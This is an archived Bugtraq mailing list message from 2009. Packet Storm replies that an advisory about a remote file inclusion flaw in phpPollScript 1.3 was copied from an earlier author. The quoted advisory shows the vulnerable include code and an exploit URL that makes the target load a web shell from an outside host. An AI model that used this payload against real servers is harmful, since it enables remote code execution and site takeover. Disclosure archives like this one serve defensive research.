bugtraq - Re: phpPollScript - 1.3 Remote File Include

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <20091221235726.GC31439@packetstormsecurity.org>
Date: Mon, 21 Dec 2009 18:57:26 -0500
From: Packet Storm <bugtraq@...ketstormsecurity.org>
To: admin@...n0x.com
Cc: bugtraq@...urityfocus.com
Subject: Re: phpPollScript  - 1.3 Remote File Include

stolen/copied.

http://packetstormsecurity.org/0909-exploits/phppollscript-rfi.txt 67daecae41e8707794f089bf6128efd0 phpPollScript versions 1.3 and below suffer from a remote file inclusion vulnerability. Authored By <a href="mailto:cr4wl3r[at]linuxmail.org">cr4wl3r</a>


On Sun, Dec 20, 2009 at 11:43:25AM -0000, admin@...n0x.com wrote:
> #phpPollScript <= 1.3 Remote File Include Vulnerability
> #Download Script      :  http://download.tomex.org/phpPollScriptv13b.zip
> #Author               :  ZZxxHackerzzXX 
> #Contact              :  admin@...n0x.com
> #Location             :  Turkey
> ########################################################################
> #file :
> #  init.poll.php
> # line 2 $inc_path = dirname($include_class);
> # line 3 require ($inc_path."/voting.poll.php");
> ########################################################################
> #3xplo!t :
> #http://target.com/[path]/php/init.poll.php?include_class=http://www.ekin0x.com/c99.txt?
> ########################################################################
> #eser@...n0x.com (all crew shell)
> ########################################################################